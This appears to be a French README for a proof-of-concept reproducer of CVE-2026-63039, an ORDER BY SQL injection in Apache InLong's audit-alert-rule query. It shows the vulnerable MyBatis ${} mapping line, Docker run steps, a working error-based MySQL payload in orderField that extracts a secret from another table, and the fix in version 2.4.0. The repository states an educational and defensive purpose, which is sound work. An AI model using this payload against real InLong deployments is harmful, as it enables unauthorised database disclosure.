
Preuve de concept pour CVE-2026-63039, démontrant une injection SQL ORDER BY dans AuditAlertRule d'Apache InLong via orderField/orderType, avec un reproducteur basé sur Docker et la vérification du correctif.
AuditAlertRule : injection SQL dans ORDER BYReproducteur exécutable de type proof-of-concept pour l'injection SQL dans la requête audit-alert-rule d'Apache InLong.
Le mapper du manager InLong AuditAlertRuleEntityMapper.selectByCondition filtre avec des paramètres MyBatis sûrs #{}, mais trie avec l'interpolation de chaîne ${} de deux champs de la requête :
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
orderField et orderType proviennent de la requête paginée (AuditAlertRulePageRequest) ; ils sont donc contrôlés par l'attaquant et concaténés tels quels dans le SQL — injection SQL via ORDER BY (CWE-89). Ce PoC injecte un payload MySQL basé sur les erreurs dans orderField et lit un secret dans une , ce qui démontre une divulgation arbitraire de données.
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
Sortie attendue sur le chemin de code vulnérable :
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
| Property | Value |
|---|---|
| Project | Apache InLong — manager (AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| Class | CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
| Attack vector | The orderField / orderType fields of an audit-alert-rule page request |
| Impact | Arbitrary SQL execution / data disclosure against the InLong manager database |
| Affected Versions | from 2.0.0 before 2.4.0 |
| Fixed Version | 2.4.0 |
| Advisory | CVE-2026-63039 |
| Credit | Andrea Cosentino |
Apache InLong 2.4.0 valide orderField / orderType par rapport à une liste blanche de colonnes triables connues et de directions avant qu'ils n'atteignent le mapper (un nom de colonne ORDER BY ne peut pas être lié comme paramètre #{}, donc les entrées de tri doivent être validées plutôt que paramétrées).
Le mapper MyBatis, l'entité et le pojo de requête de ce dépôt reflètent les originaux InLong, de sorte que le puits d'injection (order by ${request.orderField} ${request.orderType}) est reproduit à l'identique.
Ce dépôt est publié à des fins éducatives et défensives : aider les utilisateurs d'Apache InLong à comprendre la vulnérabilité, vérifier s'ils sont affectés et confirmer que la mise à niveau la résout. Le payload ne lit qu'un secret de démonstration depuis une table locale. N'utilisez pas ce contenu contre des systèmes que vous ne possédez pas ou n'exploitez pas.